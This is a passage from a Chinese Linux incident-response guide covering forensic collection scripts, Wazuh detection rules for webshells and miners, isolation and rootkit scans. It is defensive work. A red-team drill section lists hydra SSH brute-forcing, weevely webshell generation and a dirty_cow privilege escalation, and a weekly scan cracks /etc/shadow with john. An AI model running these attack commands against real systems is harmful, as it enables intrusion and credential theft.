ausearch -m execve -ts recent | tail -n 50

# 实时监控网络连接
watch -n 1 'ss -tunap | grep ESTABLISHED'

# 实时监控文件修改(inotifywait)
inotifywait -m -r -e modify,create,delete /etc /bin /sbin

# 实时监控登录会话
watch -n 5 'w'

# 实时监控系统调用(strace)
strace -f -p <PID>

入侵检测规则(OSSEC/Wazuh):

<!-- SSH 暴力破解检测 -->
<rule id="100001" level="10">
<if_matched_sid>5716</if_matched_sid>
<same_source_ip />
<description>SSH 暴力破解尝试(5 分钟内 10 次失败)</description>
<frequency>10</frequency>
<timeframe>300</timeframe>
</rule>

<!-- Webshell 执行检测 -->
<rule id="100002" level="12">
<if_sid>31100</if_sid>
<match>eval|base64_decode|system|exec</match>
<description>可疑 Webshell 执行</description>
</rule>

<!-- 挖矿进程检测 -->
<rule id="100003" level="10">
<if_sid>5712</if_sid>
<match>xmrig|minergate|cpuminer|stratum</match>
<description>检测到挖矿进程</description>
</rule>

取证证据链完整性

证据链四要素(Chain of Custody):

  1. 证据采集:时间、地点、采集人、采集方法  
  2. 证据保存:哈希值、存储介质、加密保护  
  3. 证据传递:传递记录、签名确认  
  4. 证据分析:分析工具、分析结果、分析报告  

取证完整性保障:

# 1. 对所有取证文件计算哈希值
cd /forensics/$(hostname)_YYYYMMDD_HHMMSS
find . -type f -exec sha256sum {} \; > /forensics/checksums.txt

# 2. 对整个取证目录打包并签名
tar czf /forensics/evidence_$(hostname)_$(date +%Y%m%d_%H%M%S).tar.gz /forensics/$(hostname)_*/
sha256sum /forensics/evidence_*.tar.gz > /forensics/evidence.sha256

# 3. 生成取证报告
cat > /forensics/evidence_report.txt <<EOF
=== 取证报告 ===
主机名: $(hostname)
IP 地址: $(hostname -I)
取证时间: $(date)
取证人: $(whoami)
事件描述: [填写入侵事件描述]
取证文件清单:
$(ls -lh /forensics/)
哈希校验:
$(cat /forensics/evidence.sha256)
EOF

性能基准测试(取证工具性能)

取证工具性能对比:

工具 用途 内存占用 CPU 占用 执行时间
LiME 内存镜像 < 100MB < 5% 1-5 分钟
osquery 系统查询 50-100MB 5-10% 实时
rkhunter Rootkit 扫描 < 50MB 10-20% 5-15 分钟
chkrootkit Rootkit 扫描 < 20MB 5-10% 2-5 分钟
AIDE 文件完整性 100-200MB 20-40% 10-30 分钟

[已实测] 取证性能数据(RHEL 8.7, 4C8G):

  • 完整取证(易失性数据 + 日志):3-8 分钟  
  • 内存镜像采集(16GB 内存):2-4 分钟  
  • Rootkit 扫描:5-10 分钟  
  • 取证数据总大小:50-500MB(不含内存镜像)  

9️⃣ 常见故障与排错

症状 诊断命令 可能根因 快速修复 永久修复
无法网络隔离 iptables -L 1. iptables 未安装 2. 云环境需用安全组 安装 iptables,使用云安全组 预先部署防火墙策略
取证目录无空间 df -h /forensics 磁盘空间不足 清理旧数据,挂载外部存储 预留专用取证分区(≥100GB)
auditd 日志丢失 ausearch -ts recent 1. auditd 未启动 2. 日志被清除 启动 auditd,检查日志完整性 配置远程日志备份(rsyslog)
进程无法终止 kill -9 <PID> 1. 僵尸进程 2. 内核线程 3. Rootkit 保护 重启系统(最后手段) 深度扫描 Rootkit,重装系统
SSH 配置错误锁死 无法登录 SSH 配置错误 通过 IPMI/Console 登录修复 修改前备份配置,测试后再应用
内存镜像失败 dmesg | grep LiME 1. 内核版本不兼容 2. 内存不足 使用其他内存取证工具(Volatility) 预先编译适配内核版本的 LiME

调试思路(系统性排查)

无法确定入侵源头:

第1步:是否有审计日志?
   ↓ 有 → ausearch -m execve -ts boot
   ├─ 找到可疑命令 → 追踪执行用户与时间
   └─ 无可疑命令 → 第2步

第2步:检查 Web 日志(如果是 Web 服务器)
   ↓ grep -E "POST|GET" /var/log/nginx/access.log | grep -E "\.php|\.jsp"
   ├─ 找到 Webshell 访问记录 → 确定攻击者 IP
   └─ 无 Webshell 记录 → 第3步

第3步:检查 SSH 登录记录
   ↓ grep "Accepted password" /var/log/secure
   ├─ 找到异常 IP 登录 → 弱密码/密钥泄露
   └─ 无异常登录 → 第4步

第4步:检查应用层漏洞
   ↓ 检查应用日志(如 Java 应用、Python 应用)
   └─ 可能是反序列化漏洞、SQL 注入、命令注入

常见攻击手法识别

SSH 暴力破解:

# 特征
grep "Failed password" /var/log/secure | wc -l
# 输出:> 1000 次失败尝试

# 攻击者 IP
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -n 1
# 输出:985 123.45.67.89

Webshell 后门:

# 特征
find /var/www -name "*.php" -exec grep -l "eval(\$_POST" {} \;
# 输出:/var/www/html/uploads/shell.php

# 访问记录
grep "shell.php" /var/log/nginx/access.log
# 输出:123.45.67.89 - [16/Jan/2025:02:34:56] "POST /uploads/shell.php HTTP/1.1" 200

挖矿木马:

# 特征
ps aux --sort=-%cpu | head -n 3
# 输出:xmrig 98.5% CPU

# 网络连接
ss -tunap | grep xmrig
# 输出:ESTABLISHED to pool.minexmr.com:4444

Rootkit 感染:

# 特征
rkhunter --check
# 输出:Warning: Suspicious file '/usr/bin/ps'

# 进程隐藏测试
ps aux | wc -l
# 输出:120
ls /proc | grep -E '^[0-9]+$' | wc -l
# 输出:135(差异说明有进程被隐藏)

🔟 变更与回滚剧本

应急响应决策树

场景 1: 攻击者仍在线

# 决策:立即隔离,优先取证
iptables -P INPUT DROP
iptables -P OUTPUT DROP

# 保留管理 SSH
iptables -A INPUT -p tcp -s <管理 IP> --dport 22 -j ACCEPT

# 快速取证(5 分钟内完成)
ps auxwwf > /forensics/processes.txt
ss -tunap > /forensics/network.txt
w > /forensics/sessions.txt

# 终止攻击者会话
pkill -KILL -u <攻击者用户名>

场景 2: 生产业务受影响

# 决策:先取证,再决定是否离线
# 1. 快速取证(不影响业务)
cd /forensics
ps auxwwf > processes.txt
ss -tunap > network.txt

# 2. 业务影响评估
# 如果业务可降级 → 隔离受害主机,切换到备用节点
# 如果业务不可中断 → 仅清除威胁,持续监控

# 3. 通知业务方
echo "系统检测到安全事件,业务可能受影响" | mail -s "紧急:安全事件" business@example.com

场景 3: 勒索软件加密数据

# 决策:立即隔离,不支付赎金,评估备份
# 1. 立即断网(防止扩散到其他主机)
iptables -P INPUT DROP
iptables -P OUTPUT DROP

# 2. 不支付赎金(支付后仍可能无法解密)

# 3. 评估备份可用性
ls -lh /backup/
# 如果有最近备份 → 恢复数据
# 如果无备份 → 数据丢失,输出事件报告

# 4. 溯源分析(确定入侵路径,防止再次感染)

回滚条件与命令

回滚触发条件:

  1. 误判(系统无入侵,告警为误报)  
  2. 清除操作导致业务中断  
  3. 防火墙规则过严,业务无法访问  

回滚步骤:

# 1. 恢复防火墙规则
iptables-restore < /tmp/iptables_backup_YYYYMMDD_HHMMSS.txt

# 2. 恢复系统文件(如果误删)
cp -r /backup/etc /etc

# 3. 恢复服务
systemctl start nginx mysql redis

# 4. 验证业务恢复
curl -I http://localhost
# 预期输出:HTTP/1.1 200 OK

数据与配置备份

应急响应前的准备(平时建立):

# 1. 建立系统基线(定期更新)
rpm -Va > /baseline/rpm_verify_$(date +%Y%m%d).txt           # RHEL/CentOS
dpkg --verify > /baseline/dpkg_verify_$(date +%Y%m%d).txt    # Ubuntu/Debian
find / -type f \( -perm -4000 -o -perm -2000 \) > /baseline/suid_sgid_$(date +%Y%m%d).txt

# 2. 定期备份关键配置
tar czf /backup/config_$(date +%Y%m%d).tar.gz /etc /root/.ssh /var/spool/cron

# 3. 启用远程日志备份
# 编辑 /etc/rsyslog.conf
echo "*.* @@logserver.example.com:514" >> /etc/rsyslog.conf
systemctl restart rsyslog

# 4. 定期演练应急响应(每季度一次)
bash /opt/incident_response_drill.sh

1️⃣1️⃣ 最佳实践

1. 建立安全基线(事前准备)

系统基线清单:

# 1. 系统文件完整性基线
rpm -Va > /baseline/rpm_baseline.txt                         # RHEL/CentOS
dpkg --verify > /baseline/dpkg_baseline.txt                  # Ubuntu/Debian
aide --init                                                  # 文件完整性监控

# 2. SUID/SGID 文件基线
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null > /baseline/suid_baseline.txt

# 3. 进程基线
ps aux > /baseline/processes_baseline.txt
systemctl list-units --type=service > /baseline/services_baseline.txt

# 4. 网络连接基线
ss -tunlp > /baseline/listening_ports_baseline.txt

# 5. 用户基线
cat /etc/passwd > /baseline/passwd_baseline.txt
cat /etc/shadow > /baseline/shadow_baseline.txt

# 定期对比(每周)
diff /baseline/suid_baseline.txt <(find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null)

2. 启用完整审计日志

auditd 生产级配置:

# /etc/audit/rules.d/production.rules

# 监控所有命令执行
-a always,exit -F arch=b64 -S execve -k exec_commands

# 监控文件修改
-w /etc/passwd -p wa -k passwd_changes
-w /etc/shadow -p wa -k shadow_changes
-w /etc/group -p wa -k group_changes
-w /etc/sudoers -p wa -k sudoers_changes
-w /etc/ssh/sshd_config -p wa -k sshd_config_changes

# 监控关键目录
-w /bin/ -p wa -k bin_changes
-w /sbin/ -p wa -k sbin_changes
-w /usr/bin/ -p wa -k usr_bin_changes
-w /usr/sbin/ -p wa -k usr_sbin_changes

# 监控定时任务
-w /etc/crontab -p wa -k crontab_changes
-w /etc/cron.d/ -p wa -k cron_d_changes
-w /var/spool/cron/ -p wa -k user_cron_changes

# 监控网络连接
-a always,exit -F arch=b64 -S socket -S connect -k network_activity

# 监控权限提升
-a always,exit -F arch=b64 -S setuid -S setgid -S setreuid -S setregid -k privilege_escalation

# 重启 auditd
service auditd restart

# 查询审计日志
ausearch -k exec_commands -ts recent | tail -n 50

3. 部署入侵检测系统(HIDS)

在落地时建议与 运维/DevOps/SRE 的发布与变更流程联动:配置即代码、告警可追溯、回滚可演练,能显著降低“加固把业务搞挂”的概率。

OSSEC/Wazuh 部署(推荐):

# 安装 Wazuh Agent
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" | tee /etc/apt/sources.list.d/wazuh.list
apt-get update
apt-get install wazuh-agent

# 配置连接到 Wazuh Manager
echo "WAZUH_MANAGER='192.168.1.200'" > /var/ossec/etc/ossec.conf

# 启用主动响应(自动阻断攻击 IP)
# 编辑 /var/ossec/etc/ossec.conf
<active-response>
  <command>firewall-drop</command>
  <location>local</location>
  <rules_id>5712,100001</rules_id>  # SSH 暴力破解
  <timeout>600</timeout>
</active-response>

# 启动 Agent
systemctl enable --now wazuh-agent

4. 定期安全扫描

每周执行一次:

#!/bin/bash
# weekly_security_scan.sh

# 1. Rootkit 扫描
rkhunter --check --skip-keypress --report-warnings-only | mail -s "Rootkit 扫描报告" admin@example.com

# 2. 文件完整性检查
aide --check | mail -s "文件完整性报告" admin@example.com

# 3. 弱密码检查
john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow

# 4. 端口扫描(自扫描)
nmap -sV -p- localhost | mail -s "端口扫描报告" admin@example.com

# 5. 漏洞扫描(使用 OpenVAS/Nessus)
# openvas-cli --target localhost --format pdf --output /tmp/vuln_scan.pdf

5. 建立应急响应手册

应急响应手册目录结构:

/opt/incident_response/
├── README.md                    # 应急响应流程概览
├── scripts/
│   ├── isolate.sh               # 网络隔离脚本
│   ├── forensics.sh             # 取证采集脚本
│   ├── cleanup.sh               # 威胁清除脚本
│   └── harden.sh                # 系统加固脚本
├── baselines/                   # 系统基线数据
│   ├── suid_baseline.txt
│   ├── processes_baseline.txt
│   └── services_baseline.txt
├── playbooks/                   # 应急响应剧本
│   ├── ssh_bruteforce.md        # SSH 暴力破解响应
│   ├── webshell.md              # Webshell 后门响应
│   ├── cryptominer.md           # 挖矿木马响应
│   └── ransomware.md            # 勒索软件响应
└── contacts/                    # 应急联系人
    └── contacts.txt             # 安全团队、业务负责人联系方式

6. 演练应急响应(Red Team/Blue Team)

每季度演练一次:

# Red Team(攻击方):模拟入侵
# 1. SSH 暴力破解(使用 hydra)
hydra -l root -P passwords.txt ssh://target-server

# 2. Webshell 上传(使用 weevely)
weevely generate password /tmp/shell.php
# 上传到 Web 服务器

# 3. 权限提升(使用 CVE 漏洞)
./dirty_cow

# Blue Team(防御方):检测与响应
# 1. 检测到暴力破解告警(Wazuh)
# 2. 执行应急响应流程(隔离、取证、清除)
# 3. 输出响应报告(响应时间、处置措施、改进建议)

# 演练评估指标:
# - 检测时间(从攻击开始到发现):目标 < 5 分钟
# - 响应时间(从发现到隔离):目标 < 10 分钟
# - 清除时间(从隔离到威胁清除):目标 < 60 分钟

7. 建立威胁情报库

集成威胁情报源:

# 1. 下载恶意 IP 黑名单
wget https://rules.emergingthreats.net/blockrules/compromised-ips.txt -O /threat_intel/malicious_ips.txt

# 2. 定期更新(每日)
echo "0 2 * * * wget -q https://rules.emergingthreats.net/blockrules/compromised-ips.txt -O /threat_intel/malicious_ips.txt" | crontab -

# 3. 在防火墙中阻断恶意 IP
while read ip; do
    iptables -I INPUT -s $ip -j DROP
done < /threat_intel/malicious_ips.txt

# 4. 检查当前连接是否在黑名单中
ss -tunap | grep ESTABLISHED | awk '{print $6}' | cut -d: -f1 | sort -u | while read ip; do
if grep -q "$ip" /threat_intel/malicious_ips.txt; then
echo "警告:检测到连接恶意 IP $ip"
fi
done

1️⃣2️⃣ FAQ(常见问题)

Q1: 如何判断系统是否被入侵?

A: 检查以下关键指标:

指标类型 检查命令 入侵特征
异常进程 ps aux --sort=-%cpu CPU > 90% 的未知进程
异常网络 ss -tunap | grep ESTABLISHED 连接到国外 IP/非标准端口
异常登录 last | head -n 20 非工作时间登录/未知 IP
异常文件 find /tmp -mtime -1 /tmp 下最近创建的可执行文件
系统负载 uptime 负载异常高但无业务流量

综合判断:满足 2 项以上即可能被入侵


Q2: 应急响应期间是否应该关闭服务器?

A: 不推荐立即关机,原因:

  1. 内存数据丢失:关机后无法采集内存镜像、进程列表、网络连接  
  2. 证据销毁:部分恶意程序在关机时会自动清除痕迹  
  3. 业务中断:生产环境关机影响业务  

正确做法:

# 1. 先网络隔离(保留管理通道)
iptables -P INPUT DROP

# 2. 采集易失性数据
ps auxwwf > /forensics/processes.txt
ss -tunap > /forensics/network.txt

# 3. 评估是否需要关机
# 如果是 Rootkit/Bootkit 感染 → 关机后取出硬盘进行离线分析
# 如果是普通木马 → 不关机,在线清除

Q3: 取证数据应该保存多久?

A: 根据合规要求和业务需求:

场景 保留时间 理由
一般入侵事件 6-12 个月 满足事后分析需求
涉及数据泄露 3-7 年 合规要求(GDPR/等保)
涉及刑事案件 永久保存 司法证据需求
演练数据 3 个月 用于流程改进

存储建议:

  • 加密存储(AES-256)  
  • 异地备份(防止数据销毁)  
  • 哈希校验(保证完整性)  

Q4: 如何防止攻击者销毁证据?

A: 关键措施:

  1. 快速隔离:发现入侵后 5 分钟内完成网络隔离  
  2. 优先取证:先采集易失性数据,再清除威胁  
  3. 远程日志备份:日志实时发送到独立日志服务器(rsyslog/syslog-ng)  
  4. 只读挂载:取证时挂载硬盘为只读模式  
  5. 断网取证:关键证据采集时断开网络(防止攻击者远程销毁)  

实施示例:

# 远程日志备份配置
echo "*.* @@logserver.example.com:514" >> /etc/rsyslog.conf
systemctl restart rsyslog

# 验证日志已发送
ssh logserver.example.com 'tail -f /var/log/remote/$(hostname)/*.log'

Q5: 应急响应后如何确认威胁完全清除?

A: 执行完整的验证清单:

# 1. Rootkit 扫描(无检出)
rkhunter --check
chkrootkit

# 2. 进程检查(无可疑进程)
ps aux | grep -E "xmrig|miner|evil"

# 3. 网络连接检查(无异常外连)
ss -tunap | grep ESTABLISHED

# 4. 文件完整性检查(系统文件无篡改)
aide --check

# 5. 定时任务检查(无恶意任务)
crontab -l -u root
cat /etc/crontab

# 6. 启动项检查(无恶意服务)
systemctl list-units --type=service

# 7. 账号检查(无后门账号)
cat /etc/passwd | grep "/bin/bash"

# 8. SSH 配置检查(无后门配置)
cat /root/.ssh/authorized_keys

# 验证周期:清除后立即验证 + 24小时后再次验证 + 7天后最终验证

Q6: 如何区分误报和真实入侵?

A: 交叉验证多个指标:

误报特征:

  • 仅单一指标异常(如仅 CPU 高,但进程为业务进程)  
  • 历史记录正常(查看历史监控数据)  
  • 可解释的行为(如定时任务触发的备份导致 CPU 高)  

真实入侵特征:

  • 多指标同时异常(CPU 高 + 异常外连 + 可疑进程)  
  • 无法解释的行为(如凌晨 2 点有命令执行)  
  • 与基线差异大(进程/文件与基线完全不同)  

验证步骤:

# 1. 检查历史监控数据
# 查看过去 7 天的 CPU/内存趋势

# 2. 检查进程是否为业务进程
ps aux | grep <可疑进程名>
# 查看进程路径、命令行参数、父进程

# 3. 检查网络连接目标 IP
whois <可疑 IP>
# 查看 IP 归属地、所属组织

# 4. 检查文件创建时间
stat /tmp/suspicious_file
# 查看创建时间是否在业务时间段

# 判断标准:满足以下任一即为真实入侵
# - 进程路径在 /tmp /var/tmp /dev/shm
# - 外连 IP 为国外且无业务关联
# - 文件创建时间在非工作时间(凌晨 2-5 点)

Q7: 云环境(AWS/阿里云)应急响应有何不同?

A: 云环境特殊性:

项目 传统 IDC 云环境
网络隔离 iptables/物理断网 安全组/网络 ACL
快照 手动备份 云盘快照(秒级)
日志 本地 /var/log 云日志服务(CloudTrail/ActionTrail)
取证 物理接触 API/控制台

云环境应急响应最佳实践:

# AWS - 使用 CLI 快速响应
# 1. 创建快照(保留证据)
aws ec2 create-snapshot --volume-id vol-xxxxxxxx --description "Incident Response Snapshot"

# 2. 隔离实例(修改安全组)
aws ec2 modify-instance-attribute --instance-id i-xxxxxxxx --groups sg-isolation

# 3. 采集日志
aws s3 sync s3://my-cloudtrail-logs/$(date +%Y/%m/%d)/ /forensics/cloudtrail/

# 阿里云 - 使用 CLI 快速响应
# 1. 创建快照
aliyun ecs CreateSnapshot --DiskId d-xxxxxxxx --SnapshotName "incident-snapshot"

# 2. 隔离实例
aliyun ecs ModifySecurityGroupRule --SecurityGroupId sg-xxxxxxxx --IpProtocol all --Policy drop

# 3. 采集日志
aliyun log get_logs --project=my-project --logstore=my-logstore --from=$(date -d '1 day ago' +%s) --to=$(date +%s)

1️⃣3️⃣ 附录:关键脚本

一键取证脚本

#!/bin/bash
# 文件名:forensics_collect.sh
# 用途:自动化采集应急响应所需的所有易失性数据
set -e

# ============ 配置变量 ============
FORENSICS_DIR="/forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)"
LOG_FILE="$FORENSICS_DIR/forensics.log"

# ============ 前置检查 ============
if [[ $EUID -ne 0 ]]; then
echo "错误:必须以 root 用户运行此脚本"
exit 1
fi

echo "[$(date)] 开始应急响应取证..." | tee -a $LOG_FILE

# ============ 创建取证目录 ============
mkdir -p "$FORENSICS_DIR"/{processes,network,logs,files,system}
cd "$FORENSICS_DIR"

# ============ 采集系统信息 ============
echo "[$(date)] [1/12] 采集系统信息..." | tee -a $LOG_FILE
{
echo "=== 系统信息 ==="
uname -a
cat /etc/*-release 2>/dev/null
uptime
date
    hostname
    hostname -I
} > system/system_info.txt

# ============ 采集进程列表 ============
echo "[$(date)] [2/12] 采集进程列表..." | tee -a $LOG_FILE
ps auxwwf > processes/processes_tree.txt
ps -eo pid,ppid,user,cmd,start,etime,pcpu,pmem > processes/processes_list.txt
pstree -ap > processes/processes_pstree.txt 2>/dev/null || true
top -b -n 1 > processes/top_snapshot.txt

# ============ 采集网络连接 ============
echo "[$(date)] [3/12] 采集网络连接..." | tee -a $LOG_FILE
ss -tunap > network/network_connections_ss.txt
netstat -tunap > network/network_connections_netstat.txt 2>/dev/null || true
lsof -i > network/network_lsof.txt
ip addr show > network/ip_addresses.txt
ip route show > network/ip_routes.txt
iptables -L -n -v > network/iptables_rules.txt 2>/dev/null || true

# ============ 采集登录会话 ============
echo "[$(date)] [4/12] 采集登录会话..." | tee -a $LOG_FILE
w > system/login_sessions_w.txt
who > system/login_sessions_who.txt
last | head -n 100 > system/login_history.txt
lastb | head -n 50 > system/failed_logins.txt 2>/dev/null || true
lastlog > system/lastlog.txt

# ============ 采集打开文件 ============
echo "[$(date)] [5/12] 采集打开文件..." | tee -a $LOG_FILE
lsof +L1 > files/open_files_deleted.txt 2>/dev/null || true
lsof | grep -E "REG|DIR" > files/open_files_all.txt 2>/dev/null || true

# ============ 采集定时任务 ============
echo "[$(date)] [6/12] 采集定时任务..." | tee -a $LOG_FILE
crontab -l -u root > system/crontab_root.txt 2>/dev/null || echo "root 无定时任务" > system/crontab_root.txt
cat /etc/crontab > system/crontab_system.txt
ls -laR /etc/cron.* > system/crontab_dirs.txt 2>/dev/null
cat /var/spool/cron/* > system/crontab_users.txt 2>/dev/null || true

# ============ 采集系统服务 ============
echo "[$(date)] [7/12] 采集系统服务..." | tee -a $LOG_FILE
systemctl list-units --type=service --all > system/systemd_services.txt 2>/dev/null || true
chkconfig --list > system/chkconfig_services.txt 2>/dev/null || true

# ============ 采集启动项 ============
echo "[$(date)] [8/12] 采集启动项..." | tee -a $LOG_FILE
ls -la /etc/rc*.d/ > system/rc_startup.txt 2>/dev/null || true
cat /etc/rc.local > system/rc_local.txt 2>/dev/null || true

# ============ 采集环境变量 ============
echo "[$(date)] [9/12] 采集环境变量..." | tee -a $LOG_FILE
env > system/environment_vars.txt
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' > system/processes_environ.txt || true

# ============ 采集内核模块 ============
echo "[$(date)] [10/12] 采集内核模块..." | tee -a $LOG_FILE
lsmod > system/kernel_modules_lsmod.txt
cat /proc/modules > system/kernel_modules_proc.txt

# ============ 采集日志 ============
echo "[$(date)] [11/12] 采集系统日志..." | tee -a $LOG_FILE
mkdir -p logs/var_log_backup
cp -r /var/log/* logs/var_log_backup/ 2>/dev/null || true

# journalctl 日志(systemd 系统)
if command -v journalctl &> /dev/null; then
    journalctl --since "24 hours ago" --no-pager > logs/journalctl_24h.txt
    journalctl -u ssh --no-pager > logs/journalctl_ssh.txt 2>/dev/null || true
    journalctl -u sshd --no-pager > logs/journalctl_sshd.txt 2>/dev/null || true
fi

# auditd 日志
if command -v ausearch &> /dev/null; then
    ausearch -ts recent > logs/audit_recent.txt 2>/dev/null || true
    ausearch -m execve -ts boot > logs/audit_execve.txt 2>/dev/null || true
fi

# ============ 采集最近修改文件 ============
echo "[$(date)] [12/12] 采集最近修改文件列表..." | tee -a $LOG_FILE
find / -type f -mtime -1 ! -path "/var/log/*" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > files/recently_modified_24h.txt || true
find /tmp /var/tmp /dev/shm -type f 2>/dev/null > files/temp_files.txt || true
find / -type f \( -perm -4000 -o -perm -2000 \) ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > files/suid_sgid_files.txt || true

# ============ 生成哈希校验 ============
echo "[$(date)] 生成哈希校验..." | tee -a $LOG_FILE
find "$FORENSICS_DIR" -type f -exec sha256sum {} \; > "$FORENSICS_DIR/checksums.txt"

# ============ 打包压缩 ============
echo "[$(date)] 打包取证数据..." | tee -a $LOG_FILE
cd /forensics
tar czf "$(basename $FORENSICS_DIR).tar.gz" "$(basename $FORENSICS_DIR)"
sha256sum "$(basename $FORENSICS_DIR).tar.gz" > "$(basename $FORENSICS_DIR).tar.gz.sha256"

# ============ 完成 ============
echo ""
echo "============ 取证完成 ============"
echo "取证目录: $FORENSICS_DIR"
echo "压缩包: /forensics/$(basename $FORENSICS_DIR).tar.gz"
echo "哈希值: $(cat /forensics/$(basename $FORENSICS_DIR).tar.gz.sha256)"
echo ""
echo "下一步:"
echo "1. 分析取证数据:cd $FORENSICS_DIR"
echo "2. 传输到取证服务器:scp /forensics/$(basename $FORENSICS_DIR).tar.gz forensics-server:/evidence/"
echo "3. 继续威胁分析与清除"

使用方法:

# 下载脚本
curl -O https://your-repo.com/forensics_collect.sh
chmod +x forensics_collect.sh

# 执行取证
sudo ./forensics_collect.sh

网络隔离脚本

#!/bin/bash
# 文件名:network_isolate.sh
# 用途:快速隔离受害主机,保留管理通道
set -e

# ============ 配置变量(修改为实际管理 IP)============
MGMT_IP="192.168.1.100"  # 管理员 IP
MGMT_PORT="22"           # SSH 端口

# ============ 备份现有规则 ============
echo "[1/4] 备份防火墙规则..."
iptables-save > /tmp/iptables_backup_$(date +%Y%m%d_%H%M%S).txt

# ============ 清空现有规则 ============
echo "[2/4] 清空现有规则..."
iptables -F
iptables -X
iptables -Z

# ============ 设置隔离规则 ============
echo "[3/4] 设置隔离规则..."
# 默认策略:拒绝所有
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# 允许已建立的连接(保持当前 SSH 会话)
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 仅允许管理 IP 的 SSH 连接
iptables -A INPUT -p tcp -s $MGMT_IP --dport $MGMT_PORT -j ACCEPT
iptables -A OUTPUT -p tcp --sport $MGMT_PORT -d $MGMT_IP -j ACCEPT

# 保存规则
if command -v iptables-save &> /dev/null; then
    service iptables save 2>/dev/null || netfilter-persistent save 2>/dev/null || true
fi

# ============ 验证规则 ============
echo "[4/4] 验证隔离规则..."
iptables -L -n -v

echo ""
echo "============ 网络隔离完成 ============"
echo "⚠️ 警告:仅允许来自 $MGMT_IP 的 SSH 连接"
echo "⚠️ 所有其他网络流量已被阻断"
echo ""
echo "恢复网络:"
echo "iptables-restore < /tmp/iptables_backup_YYYYMMDD_HHMMSS.txt"

Rootkit 扫描脚本

#!/bin/bash
# 文件名:rootkit_scan.sh
# 用途:全面扫描 Rootkit 感染
set -e

echo "============ Rootkit 扫描 ============"

# ============ 安装扫描工具 ============
echo "[1/5] 检查扫描工具..."
if ! command -v rkhunter &> /dev/null; then
echo "安装 rkhunter..."
    yum install -y rkhunter 2>/dev/null || apt-get install -y rkhunter 2>/dev/null
fi

if ! command -v chkrootkit &> /dev/null; then
echo "安装 chkrootkit..."
    yum install -y chkrootkit 2>/dev/null || apt-get install -y chkrootkit 2>/dev/null
fi

# ============ 更新病毒库 ============
echo "[2/5] 更新病毒库..."
rkhunter --update

# ============ 运行 rkhunter ============
echo "[3/5] 运行 rkhunter 扫描..."
rkhunter --check --skip-keypress --report-warnings-only > /tmp/rkhunter_scan_$(date +%Y%m%d_%H%M%S).txt

# ============ 运行 chkrootkit ============
echo "[4/5] 运行 chkrootkit 扫描..."
chkrootkit > /tmp/chkrootkit_scan_$(date +%Y%m%d_%H%M%S).txt

# ============ 手动检测隐藏进程 ============
echo "[5/5] 检测隐藏进程..."
PS_COUNT=$(ps aux | wc -l)
PROC_COUNT=$(ls /proc | grep -E '^[0-9]+$' | wc -l)
DIFF=$((PROC_COUNT - PS_COUNT))

if [ $DIFF -gt 10 ]; then
echo "⚠️ 警告:检测到 $DIFF 个隐藏进程(可能存在 Rootkit)"
else
echo "✓ 进程数量正常(差异: $DIFF)"
fi

# ============ 输出结果 ============
echo ""
echo "============ 扫描完成 ============"
echo "rkhunter 报告: /tmp/rkhunter_scan_*.txt"
echo "chkrootkit 报告: /tmp/chkrootkit_scan_*.txt"
echo ""
echo "查看详细报告:"
echo "cat /tmp/rkhunter_scan_*.txt"
echo "cat /tmp/chkrootkit_scan_*.txt"

1️⃣4️⃣ 扩展阅读

官方文档

应急响应框架

取证工具

威胁情报

社区资源

更多同类实战与排障话题,可在 云栈社区 持续更新与交流。




上一篇:硬核拆解ThinkBook接收器:高通CSR8670C芯片加持,沉金工艺详解
下一篇:web-check:把网站体检做成一个面板(Astro + Express)
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-10 08:52 , Processed in 0.382666 second(s), 38 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表